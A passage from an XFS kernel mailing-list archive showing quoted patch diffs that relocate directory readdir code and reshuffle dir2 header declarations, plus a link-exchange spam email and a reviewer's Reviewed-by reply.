block */ > + xfs_dir2_off_t curoff; /* current overall offset */ > + xfs_dir2_off_t newoff; /* new curoff after new blk */ > + char *ptr = NULL; /* pointer to current data */ > + struct xfs_dir2_leaf_map_info *map_info; > + > + /* > + * If the offset is at or past the largest allowed value, > + * give up right away. > + */ > + if (ctx->pos >= XFS_DIR2_MAX_DATAPTR) > + return 0; > + > + mp = dp->i_mount; > + > + /* > + * Set up to bmap a number of blocks based on the caller's > + * buffer size, the directory block size, and the filesystem > + * block size. > + */ > + length = howmany(bufsize + mp->m_dirblksize, > + mp->m_sb.sb_blocksize); > + map_info = kmem_zalloc(offsetof(struct xfs_dir2_leaf_map_info, map) + > + (length * sizeof(struct xfs_bmbt_irec)), > + KM_SLEEP | KM_NOFS); > + map_info->map_size = length; > + > + /* > + * Inside the loop we keep the main offset value as a byte offset > + * in the directory file. > + */ > + curoff = xfs_dir2_dataptr_to_byte(mp, ctx->pos); > + > + /* > + * Force this conversion through db so we truncate the offset > + * down to get the start of the data block. > + */ > + map_info->map_off = xfs_dir2_db_to_da(mp, > + xfs_dir2_byte_to_db(mp, curoff)); > + > + /* > + * Loop over directory entries until we reach the end offset. > + * Get more blocks and readahead as necessary. > + */ > + while (curoff < XFS_DIR2_LEAF_OFFSET) { > + /* > + * If we have no buffer, or we're off the end of the > + * current buffer, need to get another one. > + */ > + if (!bp || ptr >= (char *)bp->b_addr + mp->m_dirblksize) { > + > + error = xfs_dir2_leaf_readbuf(dp, bufsize, map_info, > + &curoff, &bp); > + if (error || !map_info->map_valid) > + break; > + > + /* > + * Having done a read, we need to set a new offset. > + */ > + newoff = xfs_dir2_db_off_to_byte(mp, map_info->curdb, 0); > + /* > + * Start of the current block. > + */ > + if (curoff < newoff) > + curoff = newoff; > + /* > + * Make sure we're in the right block. > + */ > + else if (curoff > newoff) > + ASSERT(xfs_dir2_byte_to_db(mp, curoff) == > + map_info->curdb); > + hdr = bp->b_addr; > + xfs_dir3_data_check(dp, bp); > + /* > + * Find our position in the block. > + */ > + ptr = (char *)xfs_dir3_data_entry_p(hdr); > + byteoff = xfs_dir2_byte_to_off(mp, curoff); > + /* > + * Skip past the header. > + */ > + if (byteoff == 0) > + curoff += xfs_dir3_data_entry_offset(hdr); > + /* > + * Skip past entries until we reach our offset. > + */ > + else { > + while ((char *)ptr - (char *)hdr < byteoff) { > + dup = (xfs_dir2_data_unused_t *)ptr; > + > + if (be16_to_cpu(dup->freetag) > + == XFS_DIR2_DATA_FREE_TAG) { > + > + length = be16_to_cpu(dup->length); > + ptr += length; > + continue; > + } > + dep = (xfs_dir2_data_entry_t *)ptr; > + length = > + xfs_dir2_data_entsize(dep->namelen); > + ptr += length; > + } > + /* > + * Now set our real offset. > + */ > + curoff = > + xfs_dir2_db_off_to_byte(mp, > + xfs_dir2_byte_to_db(mp, curoff), > + (char *)ptr - (char *)hdr); > + if (ptr >= (char *)hdr + mp->m_dirblksize) { > + continue; > + } > + } > + } > + /* > + * We have a pointer to an entry. > + * Is it a live one? > + */ > + dup = (xfs_dir2_data_unused_t *)ptr; > + /* > + * No, it's unused, skip over it. > + */ > + if (be16_to_cpu(dup->freetag) == XFS_DIR2_DATA_FREE_TAG) { > + length = be16_to_cpu(dup->length); > + ptr += length; > + curoff += length; > + continue; > + } > + > + dep = (xfs_dir2_data_entry_t *)ptr; > + length = xfs_dir2_data_entsize(dep->namelen); > + > + ctx->pos = xfs_dir2_byte_to_dataptr(mp, curoff) & 0x7fffffff; > + if (!dir_emit(ctx, (char *)dep->name, dep->namelen, > + be64_to_cpu(dep->inumber), DT_UNKNOWN)) > + break; > + > + /* > + * Advance to next entry in the block. > + */ > + ptr += length; > + curoff += length; > + /* bufsize may have just been a guess; don't go negative */ > + bufsize = bufsize > length ? bufsize - length : 0; > + } > + > + /* > + * All done. Set output offset value to current offset. > + */ > + if (curoff > xfs_dir2_dataptr_to_byte(mp, XFS_DIR2_MAX_DATAPTR)) > + ctx->pos = XFS_DIR2_MAX_DATAPTR & 0x7fffffff; > + else > + ctx->pos = xfs_dir2_byte_to_dataptr(mp, curoff) & 0x7fffffff; > + kmem_free(map_info); > + if (bp) > + xfs_trans_brelse(NULL, bp); > + return error; > +} > + > +/* > + * Read a directory. > + */ > +int > +xfs_readdir( > + xfs_inode_t *dp, > + struct dir_context *ctx, > + size_t bufsize) > +{ > + int rval; /* return value */ > + int v; /* type-checking value */ > + > + trace_xfs_readdir(dp); > + > + if (XFS_FORCED_SHUTDOWN(dp->i_mount)) > + return XFS_ERROR(EIO); > + > + ASSERT(S_ISDIR(dp->i_d.di_mode)); > + XFS_STATS_INC(xs_dir_getdents); > + > + if (dp->i_d.di_format == XFS_DINODE_FMT_LOCAL) > + rval = xfs_dir2_sf_getdents(dp, ctx); > + else if ((rval = xfs_dir2_isblock(NULL, dp, &v))) > + ; > + else if (v) > + rval = xfs_dir2_block_getdents(dp, ctx); > + else > + rval = xfs_dir2_leaf_getdents(dp, ctx, bufsize); > + return rval; > +} > + > diff --git a/fs/xfs/xfs_dir2_sf.c b/fs/xfs/xfs_dir2_sf.c > index 97676a3..f24ce90 100644 > --- a/fs/xfs/xfs_dir2_sf.c > +++ b/fs/xfs/xfs_dir2_sf.c > @@ -765,100 +765,6 @@ xfs_dir2_sf_create( > return 0; > } > > -int /* error */ > -xfs_dir2_sf_getdents( > - xfs_inode_t *dp, /* incore directory inode */ > - struct dir_context *ctx) > -{ > - int i; /* shortform entry number */ > - xfs_mount_t *mp; /* filesystem mount point */ > - xfs_dir2_dataptr_t off; /* current entry's offset */ > - xfs_dir2_sf_entry_t *sfep; /* shortform directory entry */ > - xfs_dir2_sf_hdr_t *sfp; /* shortform structure */ > - xfs_dir2_dataptr_t dot_offset; > - xfs_dir2_dataptr_t dotdot_offset; > - xfs_ino_t ino; > - > - mp = dp->i_mount; > - > - ASSERT(dp->i_df.if_flags & XFS_IFINLINE); > - /* > - * Give up if the directory is way too short. > - */ > - if (dp->i_d.di_size < offsetof(xfs_dir2_sf_hdr_t, parent)) { > - ASSERT(XFS_FORCED_SHUTDOWN(mp)); > - return XFS_ERROR(EIO); > - } > - > - ASSERT(dp->i_df.if_bytes == dp->i_d.di_size); > - ASSERT(dp->i_df.if_u1.if_data != NULL); > - > - sfp = (xfs_dir2_sf_hdr_t *)dp->i_df.if_u1.if_data; > - > - ASSERT(dp->i_d.di_size >= xfs_dir2_sf_hdr_size(sfp->i8count)); > - > - /* > - * If the block number in the offset is out of range, we're done. > - */ > - if (xfs_dir2_dataptr_to_db(mp, ctx->pos) > mp->m_dirdatablk) > - return 0; > - > - /* > - * Precalculate offsets for . and .. as we will always need them. > - * > - * XXX(hch): the second argument is sometimes 0 and sometimes > - * mp->m_dirdatablk. > - */ > - dot_offset = xfs_dir2_db_off_to_dataptr(mp, mp->m_dirdatablk, > - XFS_DIR3_DATA_DOT_OFFSET(mp)); > - dotdot_offset = xfs_dir2_db_off_to_dataptr(mp, mp->m_dirdatablk, > - XFS_DIR3_DATA_DOTDOT_OFFSET(mp)); > - > - /* > - * Put . entry unless we're starting past it. > - */ > - if (ctx->pos <= dot_offset) { > - ctx->pos = dot_offset & 0x7fffffff; > - if (!dir_emit(ctx, ".", 1, dp->i_ino, DT_DIR)) > - return 0; > - } > - > - /* > - * Put .. entry unless we're starting past it. > - */ > - if (ctx->pos <= dotdot_offset) { > - ino = xfs_dir2_sf_get_parent_ino(sfp); > - ctx->pos = dotdot_offset & 0x7fffffff; > - if (!dir_emit(ctx, "..", 2, ino, DT_DIR)) > - return 0; > - } > - > - /* > - * Loop while there are more entries and put'ing works. > - */ > - sfep = xfs_dir2_sf_firstentry(sfp); > - for (i = 0; i < sfp->count; i++) { > - off = xfs_dir2_db_off_to_dataptr(mp, mp->m_dirdatablk, > - xfs_dir2_sf_get_offset(sfep)); > - > - if (ctx->pos > off) { > - sfep = xfs_dir2_sf_nextentry(sfp, sfep); > - continue; > - } > - > - ino = xfs_dir2_sfe_get_ino(sfp, sfep); > - ctx->pos = off & 0x7fffffff; > - if (!dir_emit(ctx, (char *)sfep->name, sfep->namelen, > - ino, DT_UNKNOWN)) > - return 0; > - sfep = xfs_dir2_sf_nextentry(sfp, sfep); > - } > - > - ctx->pos = xfs_dir2_db_off_to_dataptr(mp, mp->m_dirdatablk + 1, 0) & > - 0x7fffffff; > - return 0; > -} > - > /* > * Lookup an entry in a shortform directory. > * Returns EEXIST if found, ENOENT if not found. > From links@s2.reciprocal-links.info Fri Jul 26 08:05:37 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: *** X-Spam-Status: No, score=3.4 required=5.0 tests=TO_NO_BRKTS_MSFT autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A31FE29E03 for ; Fri, 26 Jul 2013 08:05:37 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 84B2C8F8037 for ; Fri, 26 Jul 2013 06:05:34 -0700 (PDT) X-ASG-Debug-ID: 1374843930-04bdf02f20c82f0001-NocioJ Received: from vps02.reciprocal-links.info (vps02.reciprocal-links.info [176.122.224.120]) by cuda.sgi.com with ESMTP id pNWBNqGYmEa6DAEw (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 26 Jul 2013 06:05:32 -0700 (PDT) X-Barracuda-Envelope-From: links@s2.reciprocal-links.info X-Barracuda-Apparent-Source-IP: 176.122.224.120 Received: from online-links-exchange.info ([91.228.197.79] helo=localhost.localdomain) by vps02.reciprocal-links.info with esmtpa (Exim 4.73) (envelope-from ) id 1V2hhj-0006no-To for xfs@oss.sgi.com; Fri, 26 Jul 2013 15:05:08 +0200 Date: Fri, 26 Jul 2013 15:05:30 +0200 To: xfs@oss.sgi.com From: Mark Pilka Subject: Link exchange between quality websites Message-ID: X-ASG-Orig-Subj: Link exchange between quality websites X-Priority: 3 X-Mailer: Microsoft Office Outlook 12.0 MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Type: text/plain; charset="iso-8859-1" X-Barracuda-Connect: vps02.reciprocal-links.info[176.122.224.120] X-Barracuda-Start-Time: 1374843932 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137324 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi I have just found your site on Google and I was wondering if you would be interested in a link exchange between our sites to increase both yours and mine website traffic and sales ? I am looking for quality links only. If you are interested please email me for more details. Look forward to hearing from you soon Mark Pilka From bfoster@redhat.com Fri Jul 26 08:21:59 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 795BC29E03 for ; Fri, 26 Jul 2013 08:21:59 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id DD81FAC003 for ; Fri, 26 Jul 2013 06:21:58 -0700 (PDT) X-ASG-Debug-ID: 1374844913-04cb6c2e9dbfda0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id DA9KCw46ZQEHub3Y for ; Fri, 26 Jul 2013 06:21:54 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx02.intmail.prod.int.phx2.redhat.com (int-mx02.intmail.prod.int.phx2.redhat.com [10.5.11.12]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r6QDLqOw028617 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 26 Jul 2013 09:21:52 -0400 Received: from laptop.bfoster (vpn-50-221.rdu2.redhat.com [10.10.50.221]) by int-mx02.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id r6QDLolF025736 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 26 Jul 2013 09:21:51 -0400 Message-ID: <51F2772C.2010500@redhat.com> Date: Fri, 26 Jul 2013 09:18:36 -0400 From: Brian Foster User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130625 Thunderbird/17.0.7 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 16/49] xfs: reshuffle dir2 definitions around for userspace References: <1374215120-7271-1-git-send-email-david@fromorbit.com> <1374215120-7271-17-git-send-email-david@fromorbit.com> X-ASG-Orig-Subj: Re: [PATCH 16/49] xfs: reshuffle dir2 definitions around for userspace In-Reply-To: <1374215120-7271-17-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.67 on 10.5.11.12 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1374844914 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 07/19/2013 02:24 AM, Dave Chinner wrote: > From: Dave Chinner > > Many of the definitions within xfs_dir2_priv.h are needed in > userspace outside libxfs. Definitions within xfs_dir2_priv.h are > wholly contained within libxfs, so we need to shuffle some of the > definitions around to keep consistency across files shared between > user and kernel space. > > Signed-off-by: Dave Chinner > --- xfs_dir2_data_freefind(), xfs_dir2_sf_put_parent_ino(), xfs_dir2_sfe_put_ino() all go non-static, and some header fixups (compile tested): Reviewed-by: Brian Foster > fs/xfs/xfs_bmap.c | 3 ++- > fs/xfs/xfs_da_btree.c | 2 +- > fs/xfs/xfs_dir2.c | 2 +- > fs/xfs/xfs_dir2.h | 51 +++++++++++++++++++++++++++++++++++++++++++++++ > fs/xfs/xfs_dir2_block.c | 2 +- > fs/xfs/xfs_dir2_data.c | 6 ++---- > fs/xfs/xfs_dir2_leaf.c | 1 + > fs/xfs/xfs_dir2_node.c | 1 + > fs/xfs/xfs_dir2_priv.h | 31 ---------------------------- > fs/xfs/xfs_dir2_readdir.c | 1 + > fs/xfs/xfs_dir2_sf.c | 6 +++--- > fs/xfs/xfs_export.c | 4 +++- > fs/xfs/xfs_file.c | 2 +- > fs/xfs/xfs_icreate_item.c | 12 ----------- > fs/xfs/xfs_log_recover.c | 2 +- > fs/xfs/xfs_mount.c | 4 +++- > fs/xfs/xfs_rename.c | 3 ++- > fs/xfs/xfs_rtalloc.c | 1 - > fs/xfs/xfs_super.c | 3 ++- > fs/xfs/xfs_symlink.c | 3 ++- > fs/xfs/xfs_utils.c | 4 +++- > fs/xfs/xfs_vnodeops.c | 3 ++- > 22 files changed, 83 insertions(+), 64 deletions(-) > > diff --git a/fs/xfs/xfs_bmap.c b/fs/xfs/xfs_bmap.c > index 0343b44..72a2eea 100644 > --- a/fs/xfs/xfs_bmap.c > +++ b/fs/xfs/xfs_bmap.c > @@ -24,9 +24,10 @@ > #include "xfs_trans.h" > #include "xfs_sb.h" > #include "xfs_ag.h" > -#include "xfs_dir2.h" > #include "xfs_mount.h" > #include "xfs_da_btree.h" > +#include "xfs_dir2_format.h" > +#include "xfs_dir2.h" > #include "xfs_bmap_btree.h" > #include "xfs_alloc_btree.h" > #include "xfs_ialloc_btree.h" > diff --git a/fs/xfs/xfs_da_btree.c b/fs/xfs/xfs_da_btree.c > index 0b8b2a1..8bbd7ef 100644 > --- a/fs/xfs/xfs_da_btree.c > +++ b/fs/xfs/xfs_da_btree.c > @@ -27,8 +27,8 @@ > #include "xfs_mount.h" > #include "xfs_da_btree.h" > #include "xfs_bmap_btree.h" > -#include "xfs_dir2.h" > #include "xfs_dir2_format.h" > +#include "xfs_dir2.h" > #include "xfs_dir2_priv.h" > #include "xfs_dinode.h" > #include "xfs_inode.h" > diff --git a/fs/xfs/xfs_dir2.c b/fs/xfs/xfs_dir2.c > index 431be44..c3263a5 100644 > --- a/fs/xfs/xfs_dir2.c > +++ b/fs/xfs/xfs_dir2.c > @@ -31,8 +31,8 @@ > #include "xfs_inode.h" > #include "xfs_inode_item.h" > #include "xfs_bmap.h" > -#include "xfs_dir2.h" > #include "xfs_dir2_format.h" > +#include "xfs_dir2.h" > #include "xfs_dir2_priv.h" > #include "xfs_error.h" > #include "xfs_vnodeops.h" > diff --git a/fs/xfs/xfs_dir2.h b/fs/xfs/xfs_dir2.h > index e937d99..7ef6b0f 100644 > --- a/fs/xfs/xfs_dir2.h > +++ b/fs/xfs/xfs_dir2.h > @@ -23,6 +23,11 @@ struct xfs_da_args; > struct xfs_inode; > struct xfs_mount; > struct xfs_trans; > +struct xfs_dir2_sf_hdr; > +struct xfs_dir2_sf_entry; > +struct xfs_dir2_data_hdr; > +struct xfs_dir2_data_entry; > +struct xfs_dir2_data_unused; > > extern struct xfs_name xfs_name_dotdot; > > @@ -57,4 +62,50 @@ extern int xfs_dir_canenter(struct xfs_trans *tp, struct xfs_inode *dp, > */ > extern int xfs_dir2_sf_to_block(struct xfs_da_args *args); > > +/* > + * Direct call on directory open, before entering the readdir code. > + */ > +extern int xfs_dir3_data_readahead(struct xfs_trans *tp, struct xfs_inode *dp, > + xfs_dablk_t bno, xfs_daddr_t mapped_bno); > + > +/* > + * Interface routines used by userspace utilities > + */ > +extern xfs_ino_t xfs_dir2_sf_get_parent_ino(struct xfs_dir2_sf_hdr *sfp); > +extern void xfs_dir2_sf_put_parent_ino(struct xfs_dir2_sf_hdr *sfp, > + xfs_ino_t ino); > +extern xfs_ino_t xfs_dir2_sfe_get_ino(struct xfs_dir2_sf_hdr *sfp, > + struct xfs_dir2_sf_entry *sfep); > +extern void xfs_dir2_sfe_put_ino( struct xfs_dir2_sf_hdr *, > + struct xfs_dir2_sf_entry *sfep, xfs_ino_t ino); > + > +extern int xfs_dir2_isblock(struct xfs_trans *tp, struct xfs_inode *dp, int *r); > +extern int xfs_dir2_isleaf(struct xfs_trans *tp, struct xfs_inode *dp, int *r); > +extern int xfs_dir2_shrink_inode(struct xfs_da_args *args, xfs_dir2_db_t db, > + struct xfs_buf *bp); > + > +extern void xfs_dir2_data_freescan(struct xfs_mount *mp, > + struct xfs_dir2_data_hdr *hdr, int *loghead); > +extern void xfs_dir2_data_log_entry(struct xfs_trans *tp, struct xfs_buf *bp, > + struct xfs_dir2_data_entry *dep); > +extern void xfs_dir2_data_log_header(struct xfs_trans *tp, > + struct xfs_buf *bp); > +extern void xfs_dir2_data_log_unused(struct xfs_trans *tp, struct xfs_buf *bp, > + struct xfs_dir2_data_unused *dup); > +extern void xfs_dir2_data_make_free(struct xfs_trans *tp, struct xfs_buf *bp, > + xfs_dir2_data_aoff_t offset, xfs_dir2_data_aoff_t len, > + int *needlogp, int *needscanp); > +extern void xfs_dir2_data_use_free(struct xfs_trans *tp, struct xfs_buf *bp, > + struct xfs_dir2_data_unused *dup, xfs_dir2_data_aoff_t offset, > + xfs_dir2_data_aoff_t len, int *needlogp, int *needscanp); > + > +extern struct xfs_dir2_data_free *xfs_dir2_data_freefind( > + struct xfs_dir2_data_hdr *hdr, struct xfs_dir2_data_unused *dup); > + > +extern const struct xfs_buf_ops xfs_dir3_block_buf_ops; > +extern const struct xfs_buf_ops xfs_dir3_leafn_buf_ops; > +extern const struct xfs_buf_ops xfs_dir3_leaf1_buf_ops; > +extern const struct xfs_buf_ops xfs_dir3_free_buf_ops; > +extern const struct xfs_buf_ops xfs_dir3_data_buf_ops; > + > #endif /* __XFS_DIR2_H__ */ > diff --git a/fs/xfs/xfs_dir2_block.c b/fs/xfs/xfs_dir2_block.c > index 5e84000..becd69f 100644 > --- a/fs/xfs/xfs_dir2_block.c > +++ b/fs/xfs/xfs_dir2_block.c > @@ -31,8 +31,8 @@ > #include "xfs_inode_item.h" > #include "xfs_bmap.h" > #include "xfs_buf_item.h" > -#include "xfs_dir2.h" > #include "xfs_dir2_format.h" > +#include "xfs_dir2.h" > #include "xfs_dir2_priv.h" > #include "xfs_error.h" > #include "xfs_trace.h" > diff --git a/fs/xfs/xfs_dir2_data.c b/fs/xfs/xfs_dir2_data.c > index c293023..4e1917d 100644 > --- a/fs/xfs/xfs_dir2_data.c > +++ b/fs/xfs/xfs_dir2_data.c > @@ -29,14 +29,12 @@ > #include "xfs_dinode.h" > #include "xfs_inode.h" > #include "xfs_dir2_format.h" > +#include "xfs_dir2.h" > #include "xfs_dir2_priv.h" > #include "xfs_error.h" > #include "xfs_buf_item.h" > #include "xfs_cksum.h" > > -STATIC xfs_dir2_data_free_t * > -xfs_dir2_data_freefind(xfs_dir2_data_hdr_t *hdr, xfs_dir2_data_unused_t *dup); > - > /* > * Check the consistency of the data block. > * The input can also be a block-format directory. > @@ -325,7 +323,7 @@ xfs_dir3_data_readahead( > * Given a data block and an unused entry from that block, > * return the bestfree entry if any that corresponds to it. > */ > -STATIC xfs_dir2_data_free_t * > +xfs_dir2_data_free_t * > xfs_dir2_data_freefind( > xfs_dir2_data_hdr_t *hdr, /* data block */ > xfs_dir2_data_unused_t *dup) /* data unused entry */ > diff --git a/fs/xfs/xfs_dir2_leaf.c b/fs/xfs/xfs_dir2_leaf.c > index e1386aa..5505edb 100644 > --- a/fs/xfs/xfs_dir2_leaf.c > +++ b/fs/xfs/xfs_dir2_leaf.c > @@ -31,6 +31,7 @@ > #include "xfs_inode.h" > #include "xfs_bmap.h" > #include "xfs_dir2_format.h" > +#include "xfs_dir2.h" > #include "xfs_dir2_priv.h" > #include "xfs_error.h" > #include "xfs_trace.h" > diff --git a/fs/xfs/xfs_dir2_node.c b/fs/xfs/xfs_dir2_node.c > index 2226a00..b4bd9b6 100644 > --- a/fs/xfs/xfs_dir2_node.c > +++ b/fs/xfs/xfs_dir2_node.c > @@ -30,6 +30,7 @@ > #include "xfs_inode.h" > #include "xfs_bmap.h" > #include "xfs_dir2_format.h" > +#include "xfs_dir2.h" > #include "xfs_dir2_priv.h" > #include "xfs_error.h" > #include "xfs_trace.h" > diff --git a/fs/xfs/xfs_dir2_priv.h b/fs/xfs/xfs_dir2_priv.h > index 72ff8d7..807eb65 100644 > --- a/fs/xfs/xfs_dir2_priv.h > +++ b/fs/xfs/xfs_dir2_priv.h > @@ -20,18 +20,12 @@ > > /* xfs_dir2.c */ > extern int xfs_dir_ino_validate(struct xfs_mount *mp, xfs_ino_t ino); > -extern int xfs_dir2_isblock(struct xfs_trans *tp, struct xfs_inode *dp, int *r); > -extern int xfs_dir2_isleaf(struct xfs_trans *tp, struct xfs_inode *dp, int *r); > extern int xfs_dir2_grow_inode(struct xfs_da_args *args, int space, > xfs_dir2_db_t *dbp); > -extern int xfs_dir2_shrink_inode(struct xfs_da_args *args, xfs_dir2_db_t db, > - struct xfs_buf *bp); > extern int xfs_dir_cilookup_result(struct xfs_da_args *args, > const unsigned char *name, int len); > > /* xfs_dir2_block.c */ > -extern const struct xfs_buf_ops xfs_dir3_block_buf_ops; > - > extern int xfs_dir3_block_read(struct xfs_trans *tp, struct xfs_inode *dp, > struct xfs_buf **bpp); > extern int xfs_dir2_block_addname(struct xfs_da_args *args); > @@ -48,39 +42,17 @@ extern int xfs_dir2_leaf_to_block(struct xfs_da_args *args, > #define xfs_dir3_data_check(dp,bp) > #endif > > -extern const struct xfs_buf_ops xfs_dir3_data_buf_ops; > -extern const struct xfs_buf_ops xfs_dir3_free_buf_ops; > - > extern int __xfs_dir3_data_check(struct xfs_inode *dp, struct xfs_buf *bp); > extern int xfs_dir3_data_read(struct xfs_trans *tp, struct xfs_inode *dp, > xfs_dablk_t bno, xfs_daddr_t mapped_bno, struct xfs_buf **bpp); > -extern int xfs_dir3_data_readahead(struct xfs_trans *tp, struct xfs_inode *dp, > - xfs_dablk_t bno, xfs_daddr_t mapped_bno); > > extern struct xfs_dir2_data_free * > xfs_dir2_data_freeinsert(struct xfs_dir2_data_hdr *hdr, > struct xfs_dir2_data_unused *dup, int *loghead); > -extern void xfs_dir2_data_freescan(struct xfs_mount *mp, > - struct xfs_dir2_data_hdr *hdr, int *loghead); > extern int xfs_dir3_data_init(struct xfs_da_args *args, xfs_dir2_db_t blkno, > struct xfs_buf **bpp); > -extern void xfs_dir2_data_log_entry(struct xfs_trans *tp, struct xfs_buf *bp, > - struct xfs_dir2_data_entry *dep); > -extern void xfs_dir2_data_log_header(struct xfs_trans *tp, > - struct xfs_buf *bp); > -extern void xfs_dir2_data_log_unused(struct xfs_trans *tp, struct xfs_buf *bp, > - struct xfs_dir2_data_unused *dup); > -extern void xfs_dir2_data_make_free(struct xfs_trans *tp, struct xfs_buf *bp, > - xfs_dir2_data_aoff_t offset, xfs_dir2_data_aoff_t len, > - int *needlogp, int *needscanp); > -extern void xfs_dir2_data_use_free(struct xfs_trans *tp, struct xfs_buf *bp, > - struct xfs_dir2_data_unused *dup, xfs_dir2_data_aoff_t offset, > - xfs_dir2_data_aoff_t len, int *needlogp, int *needscanp); > > /* xfs_dir2_leaf.c */ > -extern const struct xfs_buf_ops xfs_dir3_leaf1_buf_ops; > -extern const struct xfs_buf_ops xfs_dir3_leafn_buf_ops; > - > extern int xfs_dir3_leafn_read(struct xfs_trans *tp, struct xfs_inode *dp, > xfs_dablk_t fbno, xfs_daddr_t mappedbno, struct xfs_buf **bpp); > extern int xfs_dir2_block_to_leaf(struct xfs_da_args *args, > @@ -142,9 +114,6 @@ extern int xfs_dir2_free_read(struct xfs_trans *tp, struct xfs_inode *dp, > xfs_dablk_t fbno, struct xfs_buf **bpp); > > /* xfs_dir2_sf.c */ > -extern xfs_ino_t xfs_dir2_sf_get_parent_ino(struct xfs_dir2_sf_hdr *sfp); > -extern xfs_ino_t xfs_dir2_sfe_get_ino(struct xfs_dir2_sf_hdr *sfp, > - struct xfs_dir2_sf_entry *sfep); > extern int xfs_dir2_block_sfsize(struct xfs_inode *dp, > struct xfs_dir2_data_hdr *block, struct xfs_dir2_sf_hdr *sfhp); > extern int xfs_dir2_block_to_sf(struct xfs_da_args *args, struct xfs_buf *bp, > diff --git a/fs/xfs/xfs_dir2_readdir.c b/fs/xfs/xfs_dir2_readdir.c > index fd3829a..e6211a7 100644 > --- a/fs/xfs/xfs_dir2_readdir.c > +++ b/fs/xfs/xfs_dir2_readdir.c > @@ -30,6 +30,7 @@ > #include "xfs_dinode.h" > #include "xfs_inode.h" > #include "xfs_dir2_format.h" > +#include "xfs_dir2.h" > #include "xfs_dir2_priv.h" > #include "xfs_error.h" > #include "xfs_trace.h" > diff --git a/fs/xfs/xfs_dir2_sf.c b/fs/xfs/xfs_dir2_sf.c > index f24ce90..65b65c5 100644 > --- a/fs/xfs/xfs_dir2_sf.c > +++ b/fs/xfs/xfs_dir2_sf.c > @@ -29,8 +29,8 @@ > #include "xfs_inode.h" > #include "xfs_inode_item.h" > #include "xfs_error.h" > -#include "xfs_dir2.h" > #include "xfs_dir2_format.h" > +#include "xfs_dir2.h" > #include "xfs_dir2_priv.h" > #include "xfs_trace.h" > > @@ -95,7 +95,7 @@ xfs_dir2_sf_get_parent_ino( > return xfs_dir2_sf_get_ino(hdr, &hdr->parent); > } > > -static void > +void > xfs_dir2_sf_put_parent_ino( > struct xfs_dir2_sf_hdr *hdr, > xfs_ino_t ino) > @@ -123,7 +123,7 @@ xfs_dir2_sfe_get_ino( > return xfs_dir2_sf_get_ino(hdr, xfs_dir2_sfe_inop(sfep)); > } > > -static void > +void > xfs_dir2_sfe_put_ino( > struct xfs_dir2_sf_hdr *hdr, > struct xfs_dir2_sf_entry *sfep, > diff --git a/fs/xfs/xfs_export.c b/fs/xfs/xfs_export.c > index c585bc6..29c880f 100644 > --- a/fs/xfs/xfs_export.c > +++ b/fs/xfs/xfs_export.c > @@ -21,8 +21,10 @@ > #include "xfs_trans.h" > #include "xfs_sb.h" > #include "xfs_ag.h" > -#include "xfs_dir2.h" > #include "xfs_mount.h" > +#include "xfs_da_btree.h" > +#include "xfs_dir2_format.h" > +#include "xfs_dir2.h" > #include "xfs_export.h" > #include "xfs_vnodeops.h" > #include "xfs_bmap_btree.h" > diff --git a/fs/xfs/xfs_file.c b/fs/xfs/xfs_file.c > index de3dc98..1ba3c79 100644 > --- a/fs/xfs/xfs_file.c > +++ b/fs/xfs/xfs_file.c > @@ -32,7 +32,7 @@ > #include "xfs_vnodeops.h" > #include "xfs_da_btree.h" > #include "xfs_dir2_format.h" > -#include "xfs_dir2_priv.h" > +#include "xfs_dir2.h" > #include "xfs_ioctl.h" > #include "xfs_trace.h" > > diff --git a/fs/xfs/xfs_icreate_item.c b/fs/xfs/xfs_icreate_item.c > index 7716a4e..441a78a 100644 > --- a/fs/xfs/xfs_icreate_item.c > +++ b/fs/xfs/xfs_icreate_item.c > @@ -20,23 +20,11 @@ > #include "xfs_types.h" > #include "xfs_bit.h" > #include "xfs_log.h" > -#include "xfs_inum.h" > #include "xfs_trans.h" > -#include "xfs_buf_item.h" > #include "xfs_sb.h" > 